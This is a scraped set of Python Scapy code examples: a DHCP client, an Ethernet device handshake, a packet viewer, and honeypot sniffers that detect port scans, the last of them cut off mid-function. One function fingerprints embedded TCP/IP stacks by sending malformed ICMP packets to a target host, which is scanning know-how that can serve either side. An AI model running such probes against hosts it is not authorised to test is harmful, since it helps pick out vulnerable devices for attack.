Exemplo n.º 1
0
class DHCPClient:
    THREAD_YIELD_TIME = .1

    def __init__(
        self,
        dhcp_store: MutableMapping[str, DHCPDescriptor],
        gw_info: UplinkGatewayInfo,
        dhcp_wait: Condition,
        iface: str = "dhcp0",
        lease_renew_wait_min: int = 200,
    ):
        """
        Implement DHCP client to allocate IP for given Mac address.
        DHCP client state is maintained in user provided hash table.
        Args:
            dhcp_store: maintain DHCP transactions, key is mac address.
            gw_info_map: stores GW IP info from DHCP server
            dhcp_wait: notify users on new DHCP packet
            iface: DHCP egress and ingress interface.
        """
        self._sniffer = AsyncSniffer(
            iface=iface,
            filter="udp and (port 67 or 68)",
            store=False,
            prn=self._rx_dhcp_pkt,
        )

        self.dhcp_client_state = dhcp_store  # mac => DHCP_State
        self.dhcp_gw_info = gw_info
        self._dhcp_notify = dhcp_wait
        self._dhcp_interface = iface
        self._msg_xid = 0
        self._lease_renew_wait_min = lease_renew_wait_min
        self._monitor_thread = threading.Thread(
            target=self._monitor_dhcp_state,
        )
        self._monitor_thread.daemon = True
        self._monitor_thread_event = threading.Event()

    def run(self):
        """
        Start DHCP sniffer thread.
        This initializes state required for DHCP sniffer thread anf starts it.
        Returns: None
        """
        self._sniffer.start()
        LOG.info("DHCP sniffer started")
        # give it time to schedule the thread and start sniffing.
        time.sleep(self.THREAD_YIELD_TIME)
        self._monitor_thread.start()

    def stop(self):
        self._sniffer.stop()
        self._monitor_thread_event.set()

    def send_dhcp_packet(
        self, mac: MacAddress, vlan: int,
        state: DHCPState,
        dhcp_desc: Optional[DHCPDescriptor] = None,
    ) -> None:
        """
        Send DHCP packet and record state in dhcp_client_state.

        Args:
            mac: MAC address of interface
            state: state of DHCP packet
            dhcp_desc: DHCP protocol state.
        Returns:
        """
        ciaddr = None

        # generate DHCP request packet
        if state == DHCPState.DISCOVER:
            dhcp_opts = [("message-type", "discover")]
            dhcp_desc = DHCPDescriptor(
                mac=mac, ip="", vlan=vlan,
                state_requested=DHCPState.DISCOVER,
            )
            self._msg_xid = self._msg_xid + 1
            pkt_xid = self._msg_xid
        elif state == DHCPState.REQUEST and dhcp_desc:
            dhcp_opts = [
                ("message-type", "request"),
                ("requested_addr", dhcp_desc.ip),
                ("server_id", dhcp_desc.server_ip),
            ]
            dhcp_desc.state_requested = DHCPState.REQUEST
            pkt_xid = dhcp_desc.xid
            ciaddr = dhcp_desc.ip
        elif state == DHCPState.RELEASE and dhcp_desc:
            dhcp_opts = [
                ("message-type", "release"),
                ("server_id", dhcp_desc.server_ip),
            ]
            dhcp_desc.state_requested = DHCPState.RELEASE
            self._msg_xid = self._msg_xid + 1
            pkt_xid = self._msg_xid
            ciaddr = dhcp_desc.ip
        else:
            LOG.warning(
                "Unknown egress request mac %s state %s",
                str(mac),
                state,
            )
            return

        dhcp_opts.append("end")  # type: ignore[arg-type]
        dhcp_desc.xid = pkt_xid
        with self._dhcp_notify:
            self.dhcp_client_state[mac.as_redis_key(vlan)] = dhcp_desc

        pkt = Ether(src=str(mac), dst="ff:ff:ff:ff:ff:ff")
        if vlan and vlan != 0:
            pkt /= Dot1Q(vlan=vlan)
        pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
        pkt /= UDP(sport=68, dport=67)
        pkt /= BOOTP(op=1, chaddr=mac.as_hex(), xid=pkt_xid, ciaddr=ciaddr)
        pkt /= DHCP(options=dhcp_opts)
        LOG.debug("DHCP pkt xmit %s", pkt.show(dump=True))

        sendp(pkt, iface=self._dhcp_interface, verbose=0)

    def get_dhcp_desc(
        self, mac: MacAddress,
        vlan: int,
    ) -> Optional[DHCPDescriptor]:
        """
                Get DHCP description for given MAC.
        Args:
            mac: Mac address of the client
            vlan: vlan id if the IP allocated in a VLAN

        Returns: Current DHCP info.
        """

        key = mac.as_redis_key(vlan)
        if key in self.dhcp_client_state:
            return self.dhcp_client_state[key]

        LOG.debug("lookup error for %s", str(key))
        return None

    def release_ip_address(self, mac: MacAddress, vlan: int):
        """
                Release DHCP allocated IP.
        Args:
            mac: MAC address of the IP allocated.
            vlan: vlan id if the IP allocated in a VLAN

        Returns: None
        """
        key = mac.as_redis_key(vlan)
        if key not in self.dhcp_client_state:
            LOG.error("Unallocated DHCP release for MAC: %s", key)
            return

        dhcp_desc = self.dhcp_client_state[key]
        self.send_dhcp_packet(
            mac,
            dhcp_desc.vlan,
            DHCPState.RELEASE,
            dhcp_desc,
        )
        del self.dhcp_client_state[key]

    def _monitor_dhcp_state(self):
        """
        monitor DHCP client state.
        """
        while True:
            wait_time = self._lease_renew_wait_min
            with self._dhcp_notify:
                for dhcp_record in self.dhcp_client_state.values():
                    logging.debug("monitor: %s", dhcp_record)
                    # Only process active records.
                    if dhcp_record.state not in DHCP_ACTIVE_STATES:
                        continue

                    now = datetime.datetime.now()
                    logging.debug("monitor time: %s", now)
                    request_state = DHCPState.REQUEST
                    # in case of lost DHCP lease rediscover it.
                    if now >= dhcp_record.lease_expiration_time:
                        request_state = DHCPState.DISCOVER

                    if now >= dhcp_record.lease_renew_deadline:
                        logging.debug("sending lease renewal")
                        self.send_dhcp_packet(
                            dhcp_record.mac, dhcp_record.vlan,
                            request_state, dhcp_record,
                        )
                    else:
                        # Find next renewal wait time.
                        time_to_renew = dhcp_record.lease_renew_deadline - now
                        wait_time = min(
                            wait_time, time_to_renew.total_seconds(),
                        )

            # default in wait is 30 sec
            wait_time = max(wait_time, self._lease_renew_wait_min)
            logging.debug("lease renewal check after: %s sec", wait_time)
            self._monitor_thread_event.wait(wait_time)
            if self._monitor_thread_event.is_set():
                break

    @staticmethod
    def _get_option(packet, name):
        for opt in packet[DHCP].options:
            if opt[0] == name:
                return opt[1]
        return None

    def _process_dhcp_pkt(self, packet, state: DHCPState):
        LOG.debug("DHCP pkt recv %s", packet.show(dump=True))

        mac_addr = MacAddress(hex_to_mac(packet[BOOTP].chaddr.hex()[0:12]))
        vlan: int = 0
        if Dot1Q in packet:
            vlan = packet[Dot1Q].vlan
        mac_addr_key = mac_addr.as_redis_key(vlan)

        with self._dhcp_notify:
            if mac_addr_key in self.dhcp_client_state:
                state_requested = self.dhcp_client_state[mac_addr_key].state_requested
                if BOOTP not in packet or packet[BOOTP].yiaddr is None:
                    LOG.error("no ip offered")
                    return

                ip_offered = packet[BOOTP].yiaddr
                subnet_mask = self._get_option(packet, "subnet_mask")
                if subnet_mask is not None:
                    ip_subnet = IPv4Network(
                        ip_offered + "/" + subnet_mask, strict=False,
                    )
                else:
                    ip_subnet = IPv4Network(
                        ip_offered + "/" + "32", strict=False,
                    )

                dhcp_server_ip = None
                if IP in packet:
                    dhcp_server_ip = packet[IP].src

                dhcp_router_opt = self._get_option(packet, "router")
                if dhcp_router_opt is not None:
                    router_ip_addr = ip_address(dhcp_router_opt)
                else:
                    # use DHCP as upstream router in case of missing Open 3.
                    router_ip_addr = dhcp_server_ip
                self.dhcp_gw_info.update_ip(router_ip_addr, vlan)

                lease_expiration_time = self._get_option(packet, "lease_time")
                dhcp_state = DHCPDescriptor(
                    mac=mac_addr,
                    ip=ip_offered,
                    state=state,
                    vlan=vlan,
                    state_requested=state_requested,
                    subnet=str(ip_subnet),
                    server_ip=dhcp_server_ip,
                    router_ip=router_ip_addr,
                    lease_expiration_time=lease_expiration_time,
                    xid=packet[BOOTP].xid,
                )
                LOG.info(
                    "Record DHCP for: %s state: %s",
                    mac_addr_key,
                    dhcp_state,
                )

                self.dhcp_client_state[mac_addr_key] = dhcp_state
                self._dhcp_notify.notifyAll()

                if state == DHCPState.OFFER:
                    # let other thread work on fulfilling IP allocation
                    # request.
                    threading.Event().wait(self.THREAD_YIELD_TIME)
                    self.send_dhcp_packet(
                        mac_addr, vlan, DHCPState.REQUEST, dhcp_state,
                    )
            else:
                LOG.debug("Unknown MAC: %s ", packet.summary())
                return

    # ref: https://fossies.org/linux/scapy/scapy/layers/dhcp.py
    def _rx_dhcp_pkt(self, packet):
        if DHCP not in packet:
            return

        # Match DHCP offer
        if packet[DHCP].options[0][1] == int(DHCPState.OFFER):
            self._process_dhcp_pkt(packet, DHCPState.OFFER)

        # Match DHCP ack
        elif packet[DHCP].options[0][1] == int(DHCPState.ACK):
            self._process_dhcp_pkt(packet, DHCPState.ACK)
class Ethernet(Communicator):
    '''Ethernet'''
    def __init__(self, options=None):
        super().__init__()
        self.type = INTERFACES.ETH_100BASE_T1
        self.src_mac = None
        self.dst_mac = 'FF:FF:FF:FF:FF:FF'
        self.ethernet_name = None
        self.data = None
        self.iface = None

        self.filter_device_type = None
        self.filter_device_type_assigned = False

        self.iface_confirmed = False
        self.receive_cache = collections.deque(maxlen=1000)
        self.use_length_as_protocol = True
        self.async_sniffer = None

        if options and options.device_type != 'auto':
            self.filter_device_type = options.device_type
            self.filter_device_type_assigned = True

    def handle_iface_confirm_packet(self, packet):
        self.iface_confirmed = True
        self.dst_mac = packet.src

    def confirm_iface(self, iface):
        dst_mac_str = 'FF:FF:FF:FF:FF:FF'

        filter_exp = 'ether dst host ' + \
            iface[1] + ' and ether[16:2] == 0x01cc'
        dst_mac = bytes([int(x, 16) for x in dst_mac_str.split(':')])
        src_mac = bytes([int(x, 16) for x in iface[1].split(':')])

        self.send_async_shake_hand(iface[0], dst_mac, src_mac, filter_exp,
                                   True)

        if self.iface_confirmed:
            self.iface = iface[0]
            self.src_mac = iface[1]
            self.use_length_as_protocol = True
            print('[NetworkCard]', self.iface)
            return

        dst_mac_str = '04:00:00:00:00:04'
        dst_mac = bytes([int(x, 16) for x in dst_mac_str.split(':')])
        filter_exp = 'ether src host ' + \
            dst_mac_str + ' and ether[16:2] == 0x01cc'

        self.send_async_shake_hand(iface[0], dst_mac, src_mac, filter_exp,
                                   False)

        if self.iface_confirmed:
            self.iface = iface[0]
            self.src_mac = iface[1]
            self.use_length_as_protocol = False
            print('[NetworkCard]', self.iface)

    def find_device(self, callback, retries=0, not_found_handler=None):
        self.device = None

        # find network connection
        if not self.iface_confirmed:
            ifaces_list = self.get_network_card()
            for i in range(len(ifaces_list)):
                self.confirm_iface(ifaces_list[i])
                if self.iface_confirmed:
                    self.start_listen_data()
                    break
                else:
                    if i == len(ifaces_list) - 1:
                        print_red('No available Ethernet card was found.')
                        return None
        else:
            self.reshake_hand()

        # confirm device
        time.sleep(1)
        self.confirm_device(self)
        if self.device:
            # establish the packet sniff thread
            callback(self.device)
        else:
            print_red(
                'Cannot confirm the device in ethernet 100base-t1 connection')

    def send_async_shake_hand(self, iface, dst_mac, src_mac, filter,
                              use_length_as_protocol):
        pG = [0x01, 0xcc]
        command = helper.build_ethernet_packet(
            dst_mac,
            src_mac,
            pG,
            use_length_as_protocol=use_length_as_protocol)
        async_sniffer = AsyncSniffer(iface=iface,
                                     prn=self.handle_iface_confirm_packet,
                                     filter=filter)
        async_sniffer.start()
        time.sleep(0.2)
        sendp(command.actual_command, iface=iface, verbose=0)
        time.sleep(0.5)
        async_sniffer.stop()

    def reshake_hand(self):
        if self.async_sniffer and self.async_sniffer.running:
            self.async_sniffer.stop()

        self.iface_confirmed = False
        dst_mac_str = 'FF:FF:FF:FF:FF:FF'

        filter_exp = 'ether dst host ' + \
            self.src_mac + ' and ether[16:2] == 0x01cc'
        dst_mac = bytes([int(x, 16) for x in dst_mac_str.split(':')])
        src_mac = self.get_src_mac()

        self.send_async_shake_hand(self.iface, dst_mac, src_mac, filter_exp,
                                   True)

        if self.iface_confirmed:
            self.use_length_as_protocol = True
            self.start_listen_data()
            return True

        dst_mac_str = '04:00:00:00:00:04'
        dst_mac = bytes([int(x, 16) for x in dst_mac_str.split(':')])
        filter_exp = 'ether src host ' + \
            dst_mac_str + ' and ether[16:2] == 0x01cc'

        self.send_async_shake_hand(self.iface, dst_mac, src_mac, filter_exp,
                                   True)

        if self.iface_confirmed:
            self.use_length_as_protocol = False
            self.start_listen_data()
            return True
        else:
            raise Exception('Cannot finish shake hand.')

    def start_listen_data(self):
        '''
        The different mac address make the filter very hard to match
        '''
        hard_code_mac = '04:00:00:00:00:04'
        filter_exp = 'ether src host {0} or {1}'.format(
            self.dst_mac, hard_code_mac)

        self.async_sniffer = AsyncSniffer(iface=self.iface,
                                          prn=self.handle_recive_packet,
                                          filter=filter_exp,
                                          store=0)
        self.async_sniffer.start()
        time.sleep(0.1)

    def handle_recive_packet(self, packet):
        packet_raw = bytes(packet)[12:]
        packet_raw_length = packet_raw[0:2]
        packet_type = packet_raw[4:6]

        if packet_type == b'\x01\xcc':
            self.dst_mac = packet.src

            if packet_raw_length == b'\x00\x00':
                self.use_length_as_protocol = False

        self.receive_cache.append(packet_raw[2:])

    def open(self):
        '''
        open
        '''

    def close(self):
        '''
        close
        '''

    def can_write(self):
        if self.iface:
            return True
        return False

    def write(self, data, is_flush=False):
        '''
        write
        '''
        try:
            sendp(data, iface=self.iface, verbose=0)
            # print(data)
        except Exception as e:
            raise

    def read(self, size=100):
        '''
        read
        '''
        if len(self.receive_cache) > 0:
            return self.receive_cache.popleft()
        return []

    def reset_buffer(self):
        '''
        reset buffer
        '''
        self.receive_cache.clear()

    def get_src_mac(self):
        return bytes([int(x, 16) for x in self.src_mac.split(':')])

    def get_dst_mac(self):
        return bytes([int(x, 16) for x in self.dst_mac.split(':')])

    def get_network_card(self):
        network_card_info = []
        for item in conf.ifaces:
            if conf.ifaces[item].ip == '127.0.0.1' or conf.ifaces[
                    item].mac == '':
                continue
            network_card_info.append(
                (conf.ifaces[item].name, conf.ifaces[item].mac))
        return network_card_info
def icmpv4_probe(dst_host, timeout):
    icmptype_i = 0x8
    icmptype_name_i = 'ICMP ECHO'
    icmptype_o = 0x0
    icmptype_name_o = 'ICMP ECHO_REPLY'

    stack_name = None
    match = MATCH_NO_MATCH

    ip = IP(dst=dst_host, ttl=20, proto=0x01)

    # First, check if we can reach ICMP
    std_icmp_payload = '\xcd\x69\x08\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17' \
                       '\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27' \
                       '\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37'

    reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i) /
                Raw(load=std_icmp_payload),
                filter='icmp[icmptype] = {}'.format(icmptype_o),
                timeout=timeout)
    if not reply:
        return (stack_name, MATCH_NO_REPLY)

    # If there is no reply to the second ICMP packet, either the target IP cannot be reached (or ICMP is
    # disabled), or we deal with the CycloneTCP stack that will accept only ICMP packets that have at least 1 byte
    # of data. To check for CycloneTCP, we craft such a packet: we expect the 1 byte of data back (+ optional padding).
    reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i),
                filter='icmp[icmptype] = {}'.format(icmptype_o),
                timeout=timeout)
    if not reply:
        reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i) /
                    Raw(load=b'\x41'),
                    filter='icmp[icmptype] = {}'.format(icmptype_o),
                    timeout=timeout)
        if reply and (reply.ttl >= 54 and reply.ttl <= 64):
            if Raw in reply and Padding in reply and reply[Raw].load == b'\x41':
                match = MATCH_MEDIUM
                stack_name = 'CycloneTCP'
                return (stack_name, match)

    # Next, we prepare a packet that should work with uIP/Contiki and PicoTCP
    icmp_raw = b'\x08\x01\x02'
    ipv4_probe = ip / Raw(load=icmp_raw)

    # Send the malformed ICMP packet
    # If we get the expected reply it is either PicoTCP or uIP/Contiki:
    #   - we first check that the TTL value of the echo packet is changed into 64 for the reply packet
    #   - we then check the payload sequence of the echo reply packet
    reply = sr1(ipv4_probe,
                filter='icmp[icmptype] = {}'.format(icmptype_o),
                timeout=timeout)
    if reply and (reply.ttl >= 54 and reply.ttl <= 64):
        if (hexlify(reply.load) == b'0001ff'):
            match = MATCH_HIGH
            stack_name = 'PicoTCP'
        elif (hexlify(reply.load) == b'00010a'):
            match = MATCH_HIGH
            stack_name = 'uIP/Contiki'

    else:  # we did not get a reply for the first malformed packet
        _id = 0xab
        _seq = 0xba
        # Nut/Net should reply to ICMP packets with incorrect IP and ICMP checksums
        ipv4_probe = IP(dst=dst_host, ttl=20, chksum=0xdead) / ICMP(
            id=_id, seq=_seq, type=icmptype_i, chksum=0xbeaf)
        reply = sr1(ipv4_probe,
                    filter='icmp[icmptype] = {}'.format(icmptype_o),
                    timeout=timeout)
        # TTL value must be 64 as well
        if reply and (reply.ttl >= 54 and reply.ttl <= 64):
            if (reply[ICMP].id == _id and reply[ICMP].seq == _seq
                    and reply[ICMP].type == 0x00):
                match = MATCH_MEDIUM
                stack_name = 'Nut/Net'

    # Here we handle all other cases
    if match == MATCH_NO_MATCH:

        # NDKTCPIP should reply to an ICMP packet that has at least 4 bytes of the header and a correct ICMP checksum
        # The code (2nd byte) must be 0x00
        icmp_raw = b'\x08\x00\xf7\xff'
        ipv4_probe = ip / Raw(load=icmp_raw)
        # For some reason Scapy will not get the reply to this packet, so I had to use asynchronous sniffing
        t = AsyncSniffer(iface=interface)
        t.start()
        send(ipv4_probe)
        time.sleep(timeout)
        pkts = t.stop()

        for pkt in pkts:
            # first, let's check the source and the destination IP
            if IP in pkt and pkt[IP].src == dst_host and pkt[IP].dst == ip.src:
                # NDKTCPIP will reply with a TTL value of 255, the ICMP checksum will be 0xffff
                if ICMP in pkt and pkt[ICMP].type == 0x00 and pkt[
                        ICMP].chksum == 0xffff:
                    # NDKTCPIP will reply with a TTL value of 255, the ICMP checksum will be 0xffff
                    if (pkt.ttl >= 245 and pkt.ttl <= 255):
                        match = MATCH_HIGH
                        stack_name = 'NDKTCPIP'
                        break

                    # Nucleus Net AND NicheStack will reply with a TTL value of 64, the ICMP checksum will be 0xffff.
                    # So far, we assume it is NicheStack.
                    elif (pkt.ttl <= 64):
                        match = MATCH_MEDIUM
                        stack_name = 'NicheStack'
                        break

    # We do an additional check for Nucleus Net: it will reply to a malformed ICMP packet that has only 1 byte in its header.
    # If we don't get a reply, NicheStack it is.
    if stack_name == 'NicheStack':
        icmp_raw = b'\x08'
        ipv4_probe = ip / Raw(load=icmp_raw)
        t = AsyncSniffer(iface=interface)
        t.start()
        send(ipv4_probe)
        time.sleep(timeout)
        pkts = t.stop()
        for pkt in pkts:
            # first, let's check the source and the destination IP
            if IP in pkt and pkt[IP].src == dst_host and pkt[IP].dst == ip.src:
                if ICMP in pkt and pkt[ICMP].type == 0x00 and pkt[
                        ICMP].chksum == None:
                    match = MATCH_MEDIUM
                    stack_name = 'Nucleus Net'
                    break

    return (stack_name, match)
Exemplo n.º 4
0
class Relay(flx.Component):

    txt_packet = ''
    prev_idx = 0
    curr_idx = 0
    summary_txt = ''
    detail_txt = ''
    hexdump_txt = ''

    def init(self):
        self.sniffer = None
        self.refresh()

    def sniff_start(self, ifname):
        p_list[:] = []
        self.summary_txt = ''
        self.detail_txt = ''
        self.hexdump_txt = ''
        self.prev_idx = 0
        self.curr_idx = 0
        self.sniffer = AsyncSniffer(iface=ifname,
                                    prn=lambda x: p_list.append(x))
        self.sniffer.start()

    def sniff_stop(self):
        if self.sniffer and self.sniffer.running:
            self.sniffer.stop()

    def print_packet(self):
        self.curr_idx = len(p_list)
        self.summary_txt = ''
        for i in range(self.prev_idx, self.curr_idx):
            self.summary_txt += p_list[i].summary()
            if i is not self.curr_idx - 1:
                self.summary_txt += '\n'
        self.prev_idx = self.curr_idx
        return self.summary_txt

    def pkt_detail(self, idx):
        if p_list[idx]:
            self.detail_txt = p_list[idx].show(dump=True)
        else:
            self.detail_txt = ''

    def pkt_hexdump(self, idx):
        if p_list[idx]:
            self.hexdump_txt = hexdump(p_list[idx], dump=True)
        else:
            self.hexdump_txt = ''

    def packet_info(self):
        self.curr_idx = len(p_list)
        for i in range(self.prev_idx, self.curr_idx):
            self.emit(
                'packet_info',
                dict(pkt_summary=p_list[i].summary(),
                     pkt_detail=p_list[i].show(dump=True),
                     pkt_hex=hexdump(p_list[i], dump=True)))
        self.prev_idx = self.curr_idx

    def refresh(self):
        self.packet_info()
        asyncio.get_event_loop().call_later(0.5, self.refresh)
Exemplo n.º 5
0
class Sniffer:
    """
    Constructs the sniffer object; notably takes a config
    keyword to control what mode to run in
    'testing' ignores ssh traffic
    """
    def __init__(
        self,
        config="base",
        openPorts=None,
        whitelist=None,
        portWhitelist=None,
        honeypotIP=None,
        managementIPs=None,
        port_scan_window=None,
        port_scan_sensitivity=None,
        databaser=None,
    ):

        self.config = config
        self.openPorts = [] if openPorts is None else openPorts
        self.whitelist = [] if whitelist is None else whitelist
        self.honeypotIP = honeypotIP
        self.portWhitelist = [] if portWhitelist is None else portWhitelist
        self.managementIPs = managementIPs
        self.scan_window = port_scan_window
        self.scan_sensitivity = port_scan_sensitivity
        self.db = databaser
        # used to detect port scans
        self.portScanTimeout = None
        # also used to detect port scans
        self.PS_RECORD = dict()
        # set used for testing convenience
        self.RECORD = dict()
        # Hash used to tell if we properly updated Sniffer class;
        # there is probably a better way of making this hash
        self.currentHash = hash(self.config)
        self.currentHash += hash(tuple(self.openPorts))
        self.currentHash += hash(tuple(self.whitelist))
        self.currentHash += hash(honeypotIP)
        self.currentHash += hash(tuple(managementIPs))

    def start(self):
        """
        Runs the thread, begins sniffing with given config
        """
        print("Starting async sniffer")
        # building the base filter
        fltr = "not src host {} ".format(self.honeypotIP)
        # adding a variable number of management ips
        for ip in self.managementIPs:
            fltr += "and not host {} ".format(ip)
        # adding things from the port list
        for port in self.portWhitelist:
            fltr += "and not dst port {} ".format(port)

        # here's where the packet detection starts

        if self.config == "testing":
            # this ignores the ssh spam you get when sending
            # packets between two ssh terminals
            fltr = fltr + " and not (src port ssh or dst port ssh)"
        elif self.config == "base":
            # this above filter ignores the ssh spam you get when sending packets
            #  between two ssh terminals - TODO: TAKE THIS OUT IN PROD
            fltr = fltr + " and not (src port ssh or dst port ssh)"
        elif self.config == "onlyUDP":
            # this last config option is used in testing
            fltr = "udp"

        self.sniffer = AsyncSniffer(filter=fltr,
                                    prn=self.save_packet,
                                    store=False)

        if not self.sniffer:
            raise Exception("Async sniffer not initialized")

        self.sniffer.start()

    def stop(self):
        """
        Attempts to stop the async sniffer
        """
        if not self.sniffer or not self.sniffer.running:
            raise Exception("Async sniffer not initialized")
        self.sniffer.stop()

    def configUpdate(
        self,
        openPorts=None,
        whitelist=None,
        portWhitelist=None,
        honeypotIP=None,
        managementIPs=None,
        port_scan_window=None,
        port_scan_sensitivity=None,
    ):
        """
        Updates configuration options during runtime
        """
        print("Async sniffer updated")
        self.running = False
        self.openPorts = [] if openPorts is None else openPorts
        self.whitelist = [] if whitelist is None else whitelist
        self.portWhitelist = [] if portWhitelist is None else portWhitelist
        self.honeypotIP = honeypotIP
        self.managementIPs = managementIPs
        self.scan_window = port_scan_window
        self.scan_sensitivity = port_scan_sensitivity

        # updates hash
        self.currentHash = hash(self.config)
        self.currentHash += hash(tuple(self.openPorts))
        self.currentHash += hash(tuple(self.whitelist))
        self.currentHash += hash(honeypotIP)
        self.currentHash += hash(tuple(managementIPs))
        self.currentHash += hash(
            tuple([self.scan_window, self.scan_sensitivity]))

        # restart's Sniffer
        try:
            self.stop()
        except Scapy_Exception as ex:
            print("Sniffer did not finish setting up before teardown: ",
                  str(ex))
        self.start()

    def save_packet(self, packet):
        """
        Function for recording a packet during sniff runtime
        packet = the packet passed through the sniff function
        """
        # TODO: make this work with layer 2, for now just skip filtering those packets
        if not packet.haslayer("IP"):
            return

        # timestamp used for port scan detection
        currentTime = int(datetime.now().timestamp())
        if self.portScanTimeout is None:
            self.portScanTimeout = currentTime

        # how to tell if we need to reset our port scan record
        if currentTime > self.portScanTimeout + self.scan_window:
            self.portScanTimeout = currentTime
            self.PS_RECORD = dict()

        # A bunch of packet data, collected to be stored
        sourceMAC = packet.src
        destMAC = packet.dst
        ipLayer = packet.getlayer("IP")
        # IP where this came from
        srcIP = ipLayer.src
        dstIP = ipLayer.dst
        destPort = ipLayer.dport if hasattr(ipLayer, "dport") else None
        srcPort = ipLayer.sport if hasattr(ipLayer, "sport") else None

        if (not ipLayer.haslayer("TCP") and not ipLayer.haslayer("UDP")
                and not ipLayer.haslayer("ICMP")):
            return

        # Whitelist check
        if srcIP not in self.whitelist:
            # Testing config - does not utilize a database
            # isTest = self.config == "onlyUDP" or self.config == "testing"

            trafficType = ("TCP" if ipLayer.haslayer("TCP") else
                           "UDP" if ipLayer.haslayer("UDP") else
                           "ICMP" if ipLayer.haslayer("ICMP") else "Other")

            # Log Entry object we're saving
            log = LogEntry(
                srcPort,
                srcIP,
                sourceMAC,
                destPort,
                dstIP,
                destMAC,
                trafficType,
                ipLayer.len,
                destPort in self.openPorts,
            )

            # self.RECORD is where we save logs for easy testing
            if srcIP in self.RECORD.keys():
                self.RECORD[srcIP].append(log)
            else:
                self.RECORD[srcIP] = [log]

            # saving the database ID in case of port scan detection
            if self.config == "base":
                dbID = self.db.save(log)
            else:
                return

            # self.PS_RECORD is a separate dictionary used for port scan detection
            if srcIP not in self.PS_RECORD.keys():
                self.PS_RECORD[srcIP] = dict()
                self.PS_RECORD[srcIP][log.destPortNumber] = dbID
            else:
                self.PS_RECORD[srcIP][log.destPortNumber] = dbID

                # Sending out the port scan alert
                if len(self.PS_RECORD[srcIP]) > self.scan_sensitivity:
                    self.db.alert(
                        Alert(
                            variant="alert",
                            message="Port scan detected from IP {}".format(
                                srcIP),
                            references=list(self.PS_RECORD[srcIP].values()),
                        ))
                    self.PS_RECORD[srcIP] = dict()
Exemplo n.º 6
0
class Sniffer:
    """
    Constructs the sniffer object; notably takes a config
    keyword to control what mode to run in
    'testing' ignores ssh traffic
    """
    def __init__(self, config, mode="base", databaser=None, send_channel=None):

        self.config = config
        self.mode = mode
        self.db = databaser
        self.channel = send_channel
        # used to detect port scans
        self.portScanTimeout = None
        # also used to detect port scans
        self.PS_RECORD = dict()
        # set used for testing convenience
        self.RECORD = dict()
        # Hash used to tell if we properly updated Sniffer class;
        # there is probably a better way of making this hash
        self.currentHash = hash(self.config)
        self.index_map = {}
        for port in self.config.open_ports:
            self.index_map[port] = {}

    def start(self):
        """
        Runs the thread, begins sniffing with given config
        """
        print("Starting async sniffer")
        localIPList = []
        fltr = ""
        # Get a list of all IP addresses assigned to local NICs
        # and ensure that this packet is not from any of them
        for interface in interfaces():
            for link in ifaddresses(interface).get(AF_INET, ()):
                if fltr != "":
                    fltr += "and "
                localIPList.append(link["addr"])
                fltr += "not src host {} ".format(link["addr"])

        # Not to or from the database IP
        if self.db is not None:
            if fltr != "":
                fltr += "and "
            fltr += "not src host {} and not dst host {} ".format(
                socket.gethostbyname(self.db.db_ip),
                socket.gethostbyname(self.db.db_ip))

        # Honor the port whitelist for incoming packets
        for port in self.config.whitelist_ports:
            if fltr != "":
                fltr += "and "
            fltr += "not dst port {} ".format(port)
        # Honor the ip whitelist for both direction
        for ip in self.config.whitelist_addrs:
            if ip not in localIPList:  # avoid blocking all incoming packets in the case that our own IP is entered into whitelist
                if fltr != "":
                    fltr += "and "
                fltr += "not src host {} and not dst host {} ".format(ip, ip)

        print("Filter", fltr)

        # here's where the packet detection starts

        if self.mode == "testing":
            # this ignores the ssh spam you get when sending
            # packets between two ssh terminals
            if fltr != "":
                fltr += "and "
            fltr = fltr + "not (src port ssh or dst port ssh)"
        elif self.mode == "base":
            # this above filter ignores the ssh spam you get when sending packets
            #  between two ssh terminals - TODO: TAKE THIS OUT IN PROD
            if fltr != "":
                fltr += "and "
            fltr = fltr + "not (src port ssh or dst port ssh)"
        elif self.mode == "onlyUDP":
            # this last config option is used in testing
            fltr = "udp"

        self.sniffer = AsyncSniffer(filter=fltr,
                                    prn=self.save_packet,
                                    store=False)
        if not self.sniffer:
            raise Exception("Async sniffer not initialized")

        self.sniffer.start()

    def stop(self):
        """
        Attempts to stop the async sniffer
        """
        if not self.sniffer or not self.sniffer.running:
            raise Exception("Async sniffer not initialized")
        self.sniffer.stop()

    def configUpdate(self, conf):
        """
        Updates configuration options during runtime
        """
        print("Async sniffer updated")
        self.running = False
        self.config = conf
        # updates hash
        self.currentHash = hash(self.config)

        # restart's Sniffer
        try:
            self.stop()
        except Scapy_Exception as ex:
            print("Sniffer did not finish setting up before teardown: ",
                  str(ex))
        self.start()

    async def send_msg(self, destPort):
        await self.channel.send("{ port: " + str(destPort) + ", packet: {} }")

    def save_packet(self, packet):
        """
        Function for recording a packet during sniff runtime
        packet = the packet passed through the sniff function
        """
        # TODO: make this work with layer 2, for now just skip filtering those packets
        if not packet.haslayer("IP"):
            return

        # timestamp used for port scan detection
        currentTime = int(datetime.now().timestamp())
        if self.portScanTimeout is None:
            self.portScanTimeout = currentTime

        # how to tell if we need to reset our port scan record
        if currentTime > self.portScanTimeout + self.config.portscan_window:
            print("resetting timeout time")
            self.portScanTimeout = currentTime
            self.PS_RECORD = dict()

        # A bunch of packet data, collected to be stored
        sourceMAC = packet.src
        destMAC = packet.dst
        ipLayer = packet.getlayer("IP")
        # IP where this came from
        srcIP = ipLayer.src
        dstIP = ipLayer.dst
        destPort = ipLayer.dport if hasattr(ipLayer, "dport") else None
        srcPort = ipLayer.sport if hasattr(ipLayer, "sport") else None

        if (not ipLayer.haslayer("TCP") and not ipLayer.haslayer("UDP")
                and not ipLayer.haslayer("ICMP")):
            return

        # Testing config - does not utilize a database
        # isTest = self.config == "onlyUDP" or self.config == "testing"

        trafficType = ("TCP" if ipLayer.haslayer("TCP") else
                       "UDP" if ipLayer.haslayer("UDP") else
                       "ICMP" if ipLayer.haslayer("ICMP") else "Other")

        # Log Entry object we're saving
        log = LogEntry(
            srcPort,
            srcIP,
            sourceMAC,
            destPort,
            dstIP,
            destMAC,
            trafficType,
            ipLayer.len,
            destPort in self.config.open_ports,
        )

        # self.RECORD is where we save logs for easy testing
